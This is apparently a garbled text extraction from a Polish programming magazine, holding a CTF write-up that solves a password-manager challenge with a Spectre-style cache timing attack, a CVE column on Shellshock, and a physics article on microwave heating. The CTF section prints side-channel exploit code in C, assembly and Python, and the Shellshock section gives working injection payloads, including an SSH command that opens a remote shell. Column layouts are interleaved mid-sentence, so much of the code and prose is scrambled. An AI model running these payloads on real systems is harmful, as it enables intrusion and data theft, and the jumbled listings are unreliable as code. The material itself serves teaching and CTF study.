„Baby” i choć byliśmy dość blisko rozwiązania „prawdziwego” wy-
Baby: It looks like the leaders of the city-state of Rhiza are using an zwania (wersji „True”), udało nam się mu sprostać dopiero po zakoń-
odd password manager. Laura got access to the machine but hasn’t been czeniu konkursu.
w Listingu 1 prezentujemy skrócony (przez nas) kod zadania, który int main() {
Init();
został opublikowany przez organizatorów po zakończeniu konkur- printf("Welcome to write only password manager!\n");
su. Oczywiście w binarce, którą dostaliśmy w trakcie zawodów, flagi int server = CreateServer();
while (1) {
(CTF-BR{...}) zostały zastąpione ciągiem „REDACTED”. int client = ResetConn(server);
Program najpierw wykonuje funkcję Init, w której przypina MainLoop(client);
}
swój proces do rdzenia procesora o numerze 0, wykonując sched_ return 0;
setaffinity z odpowiednimi argumentami (co również ułatwi nasz }
struct timespec ts; je przetwarzać, zanim się upewni, czy dana instrukcja miała w ogóle
clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_nsec + ts.tv_sec * 1000000000UL;
zostać wykonana). Aby zrozumieć działanie metody, którą wykorzy-
} staliśmy w naszym rozwiązaniu i którą opisujemy w dalszej części ar-
static long check(int idx) { tykułu, przyda nam się nieco teorii o jednym z ataków na procesory:
int hugedata[] = { [0 ... 8192 * 2] = idx };
long t1 = now();
Spectre.
for (int i = 0; i < 12; i++) {
if (write(fd, hugedata, sizeof(hugedata))
< sizeof(hugedata))
err(1, "write");
PODATNOŚĆ SPECTRE
int outq;
while (ioctl(fd, SIOCOUTQ, &outq), outq) Spectre, podatność pierwotnie oznaczona jako CVE-2017-5753 („bo-
sched_yield(); unds check bypass”) i CVE-2017-5715 („branch target injection”),
}
long t2 = now(); wstrząsnął światem obliczeń w chmurze, a także innymi zastosowa-
return t2 - t1; niami, w których tylko logika programu decyduje o ukryciu pewnych
}
danych.
int main() {
cpu_set_t set; Przykłady kodu podatnego na te ataki wyglądały następująco:
CPU_ZERO(&set);
CPU_SET(1, &set); Listing 4. Kod podatny na „bounds check bypass”
sched_setaffinity(0, sizeof(set), &set);
uint8_t tab1[LENGTH];
fd = socket(AF_INET, SOCK_STREAM, 0); uint8_t tab2[256 * 64];
int nodelay = 1;
if (setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, if (untrusted_index < LENGTH)
&nodelay, sizeof(nodelay))) print(tab2[tab1[untrusted_index] * 64])
err(1, "setsockopt");
if (connect(fd, (struct sockaddr*)&addr, Listing 5. Kod podatny na „branch target injection”
sizeof(addr)) < 0)
err(1, "connect"); typedef void (*func_ptr_t)();
check(0); func_ptr_t dispatch_table[LENGTH];
if (untrusted_index < LENGTH)
for (int idx = 0; idx < 18 * 8; idx++) dispatch_table[untrusted_index]();
printf("%ld\n", check(idx));
return 0;
Wariant wstrzyknięcia celu skoku z Listingu 5 jest z jednej strony nie-
}
co potężniejszy niż obejście sprawdzenia zakresu, ponieważ można
Listing 3. Dekodowanie bitów flagi dzięki niemu wykonać spekulatywnie dowolny kod obecny w pamię-
# wymaga zainstalowania modułu pwntools ci programu (podczas gdy „bounds check bypass” pozwala na wyko-
from pwn import * nanie zawsze tylko tego samego fragmentu kodu), ale z drugiej strony
data = []
for l in read('[Link]').splitlines(): trzeba znać adresy danych i kod maszynowy pliku wykonywalnego
[Link](int(l) > 2.49e8) oraz wybrać odpowiednie instrukcje spośród tysięcy dostępnych.
print(unbits(data, endian='little')) Ataki te dotyczą głównie (mogą zostać wykorzystane przeciwko)
interpreterów, kompilatorów Just-In-Time (JIT; na przykład w prze-
Rysunek 1. Wykres przetwarzania przez serwer kolejnych bitów flagi (oś X) od czasu (oś Y)
{ [Link] } <59>
STREFA CTF
12/2018). Fragment tego artykułu można również pobrać na dzy niektórymi z nich. Na przykład, jeśli jedna instrukcja wykonuje
stronie [Link] zapis do rejestru r5, a kolejna odczytuje dane właśnie z r5, to musi
3. Części teoretycznej z pracy inżynierskiej jednego z autorów ona poczekać, aż wykona się poprzednia. We współczesnych pro-
ninejszego artykułu, którą można znaleźć pod adresem https:// cesorach stosuje się w tym celu szeregowanie instrukcji (ang. out-
[Link]/assets/about_me/disconnected_bachelor_thesis. -of-order instruction scheduling), próbując znaleźć wśród kolejnych
pdf. Co prawda w dokumencie tym zbadano głównie wpływ rozkazów taki, który może się wykonać przed kolejnymi. Widać to
ułożenia danych na wydajność, ale opisane są w nim również w poniższej sekwencji instrukcji hipotetycznego procesora, w którym
takie tematy jak przetwarzanie potokowe, predykcje gałęzi do instrukcja mov kopiuje wartość z jednego rejestru do drugiego, a add
wykonania (2.1.5), pamięć podręczna procesora czy wczesne zapisuje wynik dodawania dwóch rejestrów do danego rejestru:
pobieranie (ang. prefetching).
(1) mov r5 <- r2
(2) add r5 <- r5 + r1
Pierwsze procesory były jednocyklowe, czyli takie, w których jedna Instrukcja (3) może być wykonana przed instrukcją (2) i nie zmieni
instrukcja wykonywana była podczas jednego cyklu. W takich proce- to specjalnie działania programu.
sorach taktowanie zegara było niskie, na poziomie kilku kiloherców, Najgorszym przypadkiem dla szeregowania instrukcji są skoki,
ograniczone przez czas wykonania najwolniejszej instrukcji (ponie- zwłaszcza warunkowe lub wyliczone. Po pobraniu takiego rozkazu
waż każda instrukcja musiała wykonywać się dokładnie taką samą procesor nie może przedwcześnie rozpocząć pobierania kolejnej in-
ilość czasu). Niestety, takie rozwiązanie nie było zbyt dobre, ponie- strukcji, gdyż nie wie, czy skok się odbędzie, czy nie. Współczesne
waż procesor wykonywał wolno – marnując czas – nawet te instruk- procesory wyposażone są w tak zwany branch predictor, który próbu-
cje, które normalnie można zrealizować szybko. je przewidzieć, czy dany skok się wykona. Procesory „zgadują” więc
Pomysł, który pojawił się później, znacząco zwiększył możliwości adres docelowy i zaczynają przetwarzać instrukcje spod tego adresu,
obliczeniowe komputerów: mowa tu o przetwarzaniu instrukcji po- a gdy już dowiedzą się, jaki był rzeczywiście adres docelowy, to kon-
dzielonych na kilka etapów (zobacz też Rysunek 2): tynuują obliczenia – w przypadku prawidłowego przewidzenia – albo
» IF (ang. instruction fetch) – pobranie instrukcji, wycofują wszystkie działania oraz efekty uboczne wynikające z wy-
» ID (ang. instruction decode) – dekodowanie instrukcji, czyli od- konanych instrukcji, a następnie przetwarzają rozkazy, które faktycz-
czytanie kodu instrukcji, stałych oraz numerów rejestrów z po- nie mają zostać wykonane.
branych z pamięci bajtów kodu maszynowego.
» EX (ang. execute) – wykonanie instrukcji,
EFEKTY UBOCZNE
» MEM (ang. memory) – dostęp do pamięci,
» WB (ang. writeback) – zapisanie wyniku obliczeń do rejestrów Istnieją przypadki, gdy jakiś efekt uboczny, który nie ma wpływu na
lub/i pamięci. prawidłowość wykonanych obliczeń, nie zostaje cofnięty pomimo
tego, że procesor źle „odgadł” wykonywaną gałąź kodu.
Takie rozwiązanie pozwoliło na przyporządkowanie każdej instrukcji Spectre to przykład takiego zaniedbania, gdy instrukcje speku-
(i dostępowi do pamięci) czasu trwania od kilkunastu do kilku tysię- lowane (wykonywane w nadziei na trafność wyboru ścieżki wyko-
cy krótkich cykli zegara. Podczas każdego z tych etapów przetwarza- nania) pozostawiają ślad w pamięci podręcznej procesora, nawet
nia instrukcji wszystkie pozostałe jednostki obliczeniowe pozostają jeśli dane, na których operują, są nieprawidłowe – zwłaszcza poza
bezczynne. Aby w pełni wykorzystać ich możliwości, wymyślono po- zakresem.
tokowość instrukcji (ang. instruction pipelining): na przykład w cza- Przykład z Listingu 4 w instrukcjach hipotetycznego procesora
sie, gdy jedna instrukcja zapisuje swoje efekty do pamięci, następna wyglądałby następująco:
instrukcja już jest wykonywana, kolejna jest dekodowana, a jeszcze
// untrusted_index: r1
inna jest właśnie pobierana z pamięci. // tab1: r2
// tab2: r3
// LENGTH: 88
(1) cmp r1, 88 // porównanie z wartością 88
(2) jae after_if // Jump if Above or Equal, skok warunkowy
(3) add r2 <- r2 + r1
(4) ld8 r2 <- *r2 // LoaD 8-bit, odczyt pamięci
(5) shl r2 <- r2 * 64 // SHift Left, przesunięcie bitowe
// równoważne mnożeniu przez potęgę dwójki
(6) add r3 <- r3 + r2
(7) ld8 r3 <- *r3
(8) call print
Rysunek 2. Przepływ wykonania instrukcji przez procesor potokowy. Wiersze oznaczają after_if:
kolejne wykonywane instrukcje, natomiast kolumny kolejne cykle zegara procesora. Na (9) ...
zielono zaznaczono etapy wykonywane jednocześnie w danej chwili
(źródło: [Link]
Zanim w pełni wykonają się instrukcje (1) i (2), procesor może (jeśli
Ponieważ w jednym wątku jednocześnie wykonywanych może być odpowiednio się go przygotuje) wykonać instrukcje (3)..(6) z warto-
kilka instrukcji, pojawia się ryzyko niespełnienia zależności pomię- ścią rejestru r1 większą niż LENGTH, odczytując w ten sposób dane
umieszczone w pamięci za elementami tab1, na podstawie których » Wysłaliśmy do serwera ciąg idx,idx, aby przeprocesował dany
wczytana zostanie do pamięci podręcznej inna część tab2. Oczywi- bit drugiej flagi. Należy tu pamiętać, iż procesor przetwarza ten
ście obliczenia wykonywane przez instrukcje (3)..(6) zostaną odrzu- bit, a także jeśli jest on ustawiony, wykonuje funkcję getenv
cone, to znaczy ich wyniki nie zostaną zapisane w rejestrach r2 oraz spekulatywnie, gdyż „normalnie” nie powinno mieć to miejsca
r3, jednak pozostanie po nich ślad w pamięci cache. ze względu na warunek offset < limit.
Atakujący może teraz wykraść dane znajdujące się w pamięci » Zbadaliśmy, jak długo nasz proces wykonywał odczyt z adresu,
zaraz za tablicą tab1, jeśli precyzyjnie zmierzy dokładny czas wy- pod którym znajduje się kod funkcji getenv. Po tej operacji wy-
konania odczytów z poszczególnych części tab2. W sytuacji gdy rzuciliśmy go z cache procesora (wykonując instrukcję proce-
tylko jedna część tab2 będzie obecna w pamięci podręcznej, dostęp sora clflush, ponieważ funkcja getenv jest we współdzielonej
(odczyt lub zapis) do niej wykona się szybko (w wyniku „trafienia” przez oba programy bibliotece [Link]).
– ang. cache hit), a do pozostałych elementów będzie dużo wolniejszy » Dla porównania ponownie zmierzyliśmy czas odczytu bajtów
(w wyniku „chybienia” – ang. cache miss). funkcji getenv, wiedząc już, że nie ma ich w pamięci podręcz-
nej (dzięki wykonanu clflush w poprzednim kroku). To po-
WRÓĆMY DO ZADANIA W WERSJI zwoliło nam oszacować, czy mamy do czynienia z ustawionym
bitem, czy może badany bit flagi był „zerem”.
„TRUE”
Dla przypomnienia: w zadaniu możemy wykonać dowolny kod na tej Jak można zauważyć, najistotniejszą część naszego rozwiązania, czyli
samej maszynie co serwer, ale nie mamy dostępu do binarki serwe- pomiar odczytu kodu funkcji getenv, zaimplementowaliśmy w funk-
ra, gdyż jest on uruchomiony z innego użytkownika. Dodatkowo nie cji readingtime w asemblerze. Zrobiliśmy tak, aby mieć pewność,
możemy przeprowadzić ataku czasowego na wykonywanie funkcji że kod, który napisaliśmy, wykonuje dokładnie te i tylko te operacje,
getenv z biblioteki współdzielonej [Link], jak to zrobiliśmy w wersji które chcieliśmy. W innym wypadku musielibyśmy walczyć z kom-
„Baby”, ze względu na warunek sprawdzający numer bajtu, który po- pilatorem (i na przykład flagami optymalizacji -O1, -O2 lub -O3), tak
zwalał na wykorzystanie tej techniki tylko do wykradnięcia pierwszej aby wynikowy kod nie wykonywał niepotrzebnych operacji, które
flagi (zaznaczony czerwonym tłem w kodzie poniżej): mogłyby wprowadzić szum uniemożliwiający zrobienie dokładnych
pomiarów. Jeśli chodzi o sam kod asemblera, to jego dokładną ana-
if (offset < limit)
if ((flag[offset] >> (suboffset)) & 1) lizę pozostawiamy dla czytelników. Aby to ułatwić, w Tabeli 1 zapre-
getenv("BitHit!"); zentowano kilka z użytych instrukcji.
Istotne tutaj jest to, że gdy podany indeks jest poza zakresem, spraw- Instrukcja/instrukcje Opis/działanie
dzenie bitu może być także wykonane spekulatywnie i – gdy bit jest
równy 1 – spowodować pobranie kodu funkcji getenv do pamięci Memory Fence, Load Fence – instrukcje potwierdza-
jące operacje zapisu lub odczytu danych z pamięci,
podręcznej procesora, co możemy wydedukować, mierząc czas po- mfence, lfence co pozwala na upewnienie się, że wszystkie dostępy
brania kodu tej funkcji w naszym procesie. Przy okazji korzystamy do pamięci zostały zakończone (oraz, na przykład, że
dana pamięć została pobrana do cache)
z okoliczności, że kod funkcji getenv mieści się fizycznie w pamię-
ci RAM tylko raz, gdyż funkcja ta znajduje się w bibliotece [Link], Read Time-Stamp Counter – instrukcja zwracająca
która jest załadowana zarówno w procesie serwera, jak i w naszym rdtsc
wartość specjalnego licznika procesora od jego
ostatniego restartu. Często wykorzystuje się ją
programie. w benchmarkowaniu kodu
FINAŁ – ROZWIĄZANIE „TRUE WRITE- Flush Cache Line – instrukcja, która czyści linię
cache zawierającą dany adres z pamięci podręcznej
ONLY PASSWORD MANAGER” clflush <arg> procesora (gdyż procesor pobiera dane do pamięci
podręcznej w tak zwanych „liniach”, które najczęściej
mają długość 64 bajtów)
W naszym rozwiązaniu, aby poznać dany bit flagi, wykonaliśmy na-
stępujące kroki:
Tabela 1. Opis wybranych instrukcji wykorzystanych w rozwiązaniu
» Wysłaliśmy do serwera indeks 2 wielokrotnie, gdyż wiemy, że
ten właśnie bit pierwszej flagi nie jest ustawiony (litera „C” to Listing 6. Rozwiązanie zadania w wersji „True”
binarnie 1000011). W ten sposób nauczyliśmy procesor (a kon-
#define _GNU_SOURCE
kretnie branch predictor), że pierwszy warunek offset < limit #include <netinet/in.h>
jest zawsze prawdziwy, a drugi ((flag[offset] >> (suboff- #include <netinet/tcp.h>
#include <sched.h>
set)) & 1) fałszywy. #include <sys/mman.h>
» Zapchaliśmy pamięć podręczną procesora losowymi danymi static inline long readingtime(void *addr) {
w funkcji evict, tak aby wyrzucić zmienną limit z cache, co spo- long time;
asm("mfence\n\t"
wolni odczyt tej zmiennej w serwerze (proces cache eviction). Nie "lfence\n\t"
mogliśmy tutaj użyć instrukcji clfush ze względu na brak zma- "rdtsc\n\t"
"lfence\n\t"
powanej w naszym procesie pamięci, w której znajduje się zmien- "movl %1, %%edx\n\t"
"movl %%eax, %%esi\n\t"
na limit; jest ona podmapowana jedynie w procesie serwera.
{ [Link] } <61>
STREFA CTF
[0] [Link]
[1] [Link]
[2] [Link]
[3] [Link]
Rozwiązania zadań Baby oraz True write-only password manager zostały nadesłane
przez członków polskiej drużyny justCatTheFish, która bierze aktywnie udział w kon-
kursach CTF od kilku lat, a rok 2020 ukończyła na 12 miejscu rankingu światowego
CTFtime. [Link]
Shellshock
„Z archiwum CVE” to nowy dział, w ramach którego będziemy opisywać znane i mniej znane błędy
bezpieczeństwa. Na pierwszy ogień przedstawiona zostanie perełka, która wstrząsnęła światem
w 2014 roku i do dziś przewija się w zadaniach typu „Hack The Box”. Dodatkowo jest to popular-
ne zagadnienie pojawiające się na różnego rodzaju egzaminach na certyfikaty bezpieczeństwa.
FUNKCJE W BASH funkcja jest zwykłą zmienną. W momencie uruchomienia nowej po-
włoki Bash parsuje wszystkie odziedziczone zmienne w poszukiwa-
Bash pozwala na definiowanie funkcji oraz zmiennych. W momencie niu tych, których zawartość rozpoczyna się od ciągu „() {”. Oznacza
uruchomienia programu wszystkie zmienne środowiskowe są odzie- to, że jeżeli do zmiennej eksportowanej zapiszemy ten ciąg, to zmien-
dziczone po rodzicu. Niektóre powłoki, w tym Bash, rozróżniają na ta zostanie potraktowana jako funkcja. Warto podkreślić jednak,
zmienne środowiskowe eksportowane i nie-eksportowane. W przy- że Bash w celu utworzenia funkcji ze zmiennych środowiskowych
padku Basha eksportowane zmienne środowiskowe to te, na których parsuje je tylko przy uruchomieniu nowej powłoki.
została wywołana komenda export. Przykład definicji i dziedzicze-
Listing 3. Definicja i eksport funkcji. Funkcja jest dostępna także w nowej powłoce
nia zmiennych możemy zobaczyć w Listingu 1.
# Utworzenie i eksport funkcji foo
Listing 1. Definicja i eksport zmiennej. W nowej powłoce jest również dostępna % export -f foo() { echo 'Hello World!'; }
# Zmienna nie jest utworzona # Po wykonaniu export -f zostaje utworzona zmienna środowiskowa,
% echo $PROGRAMISTA # która zawiera definicję funkcji. Możemy sami stworzyć własną
# funkcję, korzystając z magicznego przedrostka () {
# Utworzenie zmiennej lokalnej o nazwie PROGRAMISTA i wartości "1" % env | grep foo
% PROGRAMISTA="1" foo=() { echo 'Hello World'
# Modyfikacja zmiennej lokalnej na eksportowaną # Funkcja bar nie jest jeszcze dostępna, ponieważ Bash tworzy
% export PROGRAMISTA # funkcje tylko przy uruchomieniu
# Alternatywnie możemy utworzyć zmienną i wyeksportować ją % export bar="() { echo 'Hello World'; }"
# w jednym kroku
% export PROGRMIASTA="1" # Po uruchomieniu nowej instancji Basha zmienne środowiskowe są
# parsowane w celu poszukiwania magicznego przedrostka. Funkcja
# Sprawdzenie wartości zmiennej # bar została utworzona
% echo $PROGRAMISTA % bar
1 Bash: bar: command not found
# Uruchomienie nowej powłoki % bash
% bash bash-3.2$ bar
# Zdefiniowana zmienna jest dostępna w nowej powłoce Hello World!
bash-3.2$ echo $PROGRAMISTA
1 Jest to klasyczny problem mieszania danych z metadanymi, gdzie
bash-3.2$
dane określają swój własny typ. Drugim błędem było nieprawidłowe
Jedną z mniej znanych funkcjonalności Basha jest to, że oprócz eks- parsowanie zawartości tejże zmiennej. Błąd polega na tym, że Bash
portowania zmiennych możemy także eksportować funkcje. W Li- utworzy funkcję o nazwie danej zmiennej, a komendy pomiędzy zna-
stingu 2 możemy przeanalizować utworzenie funkcji, jak i sposób kami { i } potraktuje jako ciało funkcji. Wszystko to, co znajduje się
wyeksportowania jej do nowej powłoki. Eksport funkcji jest wykony- po zamknięciu nawiasu klamrowego, zostanie zwyczajnie wykonane.
wany za pomocą komendy export z opcją f. Ten błąd bezpieczeństwa został zaprezentowany w Listingu 4.
Listing 4. Definicja i eksport funkcji. Funkcja jest dostępna także w nowej Listing 6. RCE w SSH poprzez wykorzystanie Shellshocka
powłoce
% ssh test@[Link]
# Tworzymy funkcję hack. Po definicji jej ciała dodajemy Sorry, you don’t have access to this server anymore
# dodatkowe komendy shellowe. Kolorem zielonym zaznaczyliśmy
% ssh test@[Link] '() { :; }; echo "RCE"'
# normalną definicję funkcji znaną z poprzednich przykładów.
RCE
# Na czerwono - komendy poza funkcją
Sorry, you don’t have access to this server anymore
% export hack='() { echo "Hello World"; }; echo "oh my!"'
% ssh test@[Link] '() { :; }; bash'
# Bash znajduje zmienną hack i tworzy funkcję, następnie
id
# automatycznie wykonuje wszystko poza definicją funkcji
uid=1001(test) gid=1001(test) groups=1001(test)
% bash
ip addr | grep 192.168.56
Oh my!
inet [Link]/24 brd [Link] scope global eth0
bash-3.2$
nujemy normalne logowanie do serwera, następnie wykorzystujemy Programista i menedżer w firmie Fudo Security,
w której zajmuje się rozwijaniem produktów
znaną nam podatność do wykonania echo na serwerze, a ostatecznie związanych z bezpieczeństwem. W wolnym cza-
do uzyskania powłoki. sie zaangażowany w rozwój projektu FreeBSD.
{ [Link] } <65>
PLANETA IT
PROMIENIOWANIE DOBRE I ZŁE w trzech osiach – razem sześć możliwości zwanymi stopniami swo-
body2. Energia wewnętrzna ciała jest po prostu sumą energii wszyst-
W obiegowej opinii słowo „promieniowanie” kojarzy się nie najlepiej. kich cząstek w każdym ze stopni swobody, a temperatura miarą tej
Przypomina się Czarnobyl czy Fukushima i nawet dodanie przymiot- energii (im wyższa temperatura, tym wyższa energia wewnętrzna
nika „elektromagnetyczne” nie poprawia sytuacji. – i vice versa).
Natomiast dla fizyka sformułowanie to nie dość, że jest mało Ważną informacją jest to, że w ujęciu statystycznym średnia ener-
przerażające, to jeszcze bardzo niekonkretne. gia przypadająca na każdy ze stopni swobody jest taka sama3.
Promieniowanie elektromagnetyczne każdy zna – są to po-
wszechne fale radiowe. W zależności od częstotliwości można mówić
SPOSÓB NA ZIMNEGO KOTLETA
np. o falach długich (ach, któż nie zna tych trzasków podczas słucha-
nia Chopina na programie pierwszym), falach ultrakrótkich czy… Ogrzewanie substancji to zwiększenie temperatury poprzez dostar-
świetle widzialnym. Tak, wszystkie powyższe przykłady dotyczą tego czenie ciepła, czyli energii. Skoro wiemy, że temperatura ma związek
samego zjawiska. z energią wewnętrzną, to podgrzanie potrawy spowoduje wzrost tej
Na Rysunku 1 przedstawiono spektrum fal elektromagnetycz- energii, czyli prędkości ruchu (i drgań) cząstek.
nych, od fal długich aż do promieniowania gamma. Gwoli przypo- Wystarczy tylko znaleźć sposób na zwiększenie tych prędkości
mnienia, zdefiniujmy kilka pojęć: i już nasz kotlet będzie ciepły!
» Długość fali (λ) – jest to najmniejsza odległość między dwoma Metod jest dużo. Można zetknąć potrawę z substancją o większej
punktami fali o takiej samej fazie (czyli między dwoma powta- temperaturze (np. ze spalinami z kuchenki gazowej). Można też wy-
rzającymi się fragmentami fali). korzystać coś, czego nie widać – podczerwień w piekarniku, która
» Częstotliwość (ν) – ilość cykli (okresów, powtórzeń) na sekundę. zaabsorbowana przez cząsteczki zwiększy ich energię. Sposobem, jaki
Dla fali elektromagnetycznej rozchodzącej się w powietrzu z prędko- 1. Obaj naukowcy wsławili się w wyjaśnienie kwantowej natury fal elektromagnetycznych. Max Planck
rozwiązał zagadkę widma emitowanego przez ciała o zadanej temperaturze, a Einstein wykorzystał
ścią światła c (w przybliżeniu) obie wielkości łączy zależność (wzór 1): wyliczoną przez Plancka stałą do wyjaśnienia zjawiska fotoelektrycznego.
2. Dla prostszych cząstek (np. jedno- lub dwuatomowych) stopni swobody jest mniej.
ν·λ=c 3. Dla układów znajdujących się w równowadze termodynamicznej. Czytelnikom, którzy nie boją się
kontrowersyjnych nazw, autor poleca zapoznanie się z historią demona Maxwella.
nas najbardziej interesuje w tym artykule, jest opcja trzecia – wyko- W cząsteczce wody tlen jest bardziej elektroujemny (chciwy, elek-
rzystanie mikrofal. troujemność 3.44) niż wodór (elektroujemność 2,2), stąd woda jest
tzw. polarna – z uwagi na nierównomierny rozkład ładunku tworzy
CZĄSTECZKI POLARNE NIE TYLKO dipol elektryczny i potrafi ustawiać się zgodnie z kierunkiem ze-
wnętrznego pola elektrycznego.
W ARKTYCE
Model Bohra opisuje atom jako jądro o dodatnim ładunku, wokół
Z LUPĄ WEWNĄTRZ MIKROFALÓWKI
którego krążą na orbitach (powłokach) elektrony. Atomy łączą się
w cząsteczki poprzez wiązanie polegające na wzajemnej wymianie Wewnątrz kuchenki mikrofalowej występuje pole elektromagnetyczne
elektronu walencyjnego (może on wtedy „orbitować” wokół dwóch tak silne, że ustawia cząsteczki polarne zgodnie z wektorem składowej
atomów jednocześnie). elektrycznej. Skoro pole to zmienia się 2.4 miliardy razy na sekundę,
Linus Pauling zauważył, że niektóre atomy są chciwe i pragną za- to i cząsteczki „obracają się” z taką samą częstotliwością (Rysunek 3).
garnąć elektron tylko dla siebie4. Zachodzi wtedy sytuacja, w której Podczas takich obrotów ocierają się o siebie i uderzają, co powo-
elektron tworzący wiązanie chętniej „orbituje” w pobliżu bardziej duje wzrost ich energii wewnętrznej, czyli… wzrost temperatury (fa-
chciwego atomu. Elektron ma ujemny ładunek, więc równowaga chowo zjawisko to nazywa się rozpraszaniem dielektrycznym).
elektrostatyczna cząsteczki zostaje zaburzona – pojawiają się obszary
naładowane dodatnio i ujemnie (Rysunek 2).
6. Komórka rakowa powstaje w wyniku błędnego podziału komórki macierzystej, albo przez błąd
5. Fale dłuższe wymagałyby większego rozmiaru kuchenki (np. drzwiczek o szerokości kilku metrów podczas replikacji DNA (naturalnej), albo przez uszkodzenie macierzystego DNA (sztuczne). Gdy
dla fal ultrakrótkich FM), a fale zbyt krótkie miałyby za małą głębokość wnikania w potrawę i pod- mimo to powstała komórka jest podobna do otaczających, układ odpornościowy nie potrafi jej
grzewały jedynie skórkę. unieszkodliwić, co może powodować niekontrolowany rozrost „złej” tkanki, tworząc raka.
/* REKLAMA */
<69>
PLANETA IT
Foton mikrofalowy byłby w tej skali… lecącą muchą (0,1 J), i do tego linii prostej i prezentują się raczej podobnie do poplątanych słucha-
niewielką. Wniosek, jaki z tego płynie, jest prosty: nie ma takiej moż- wek w kieszeni – istny węzeł gordyjski! Białka zwijają się, skręcają
liwości, by mikrofale tak znacząco wpływały na cząsteczki. i drgają pozornie w sposób chaotyczny, ale z uwagi na nierównomier-
Ponadto w zwykłym piekarniku ogrzewanie następuje za pomo- ny rozkład ładunku elektrycznego w cząsteczce (patrz: elektroujem-
cą fotonów o częstotliwości ponad 10.000 GHz (podczerwień), czyli ność wg Paulinga) nie każde dowolne ustawienie jest możliwe. Na
1000x większej energii niż w przypadku mikrofal. A takiego sposobu Rysunku 4 pokazano przykład naturalnego ułożenia białka obecnego
gotowania raczej nikt nie kwalifikuje jako szkodliwy. w mięśniach – mioglobiny. Ustawienie „we wstążkę” jest charaktery-
styczną cechą wspomnianego białka.
ZAKOŃCZENIE
FAKT: polarne białka skręcają się inaczej
Sama mikrofalówka nie jest niczym złym, o ile użytkowana jest w spo-
Białka są bardzo skomplikowanymi cząsteczkami. Niektóre składają sób poprawny. Niestety, szybkość i łatwość przygotowania potraw
się z tak wielu atomów, że przypominają bardziej cienką nitkę niż spowodowała ogromny wzrost produkcji wysokoprzetworzonej żyw-
zwartą cząsteczkę. Nie oznacza to jednak, że są skore do zachowania ności „gotowej”, która z jakością i zdrowiem nie ma nic wspólnego.
Bardziej powinniśmy zatem uważać na to, co do kuchenki wkładamy,
7. Według [Link] i źródłowej bibliografii. niż obawiać się tego, co z niej wyjmujemy.
WOJCIECH MACEK
wma@[Link]
Inżynier systemów wbudowanych, pracuje w krakowskiej firmie Semihalf. Służbowo zajmuje się programowaniem systemów
operacyjnych, szybkimi sieciami i rozwiązaniami Data Plane. Prywatnie pasjonat wszystkiego, co ciekawe – od elektroniki do
oprogramowania.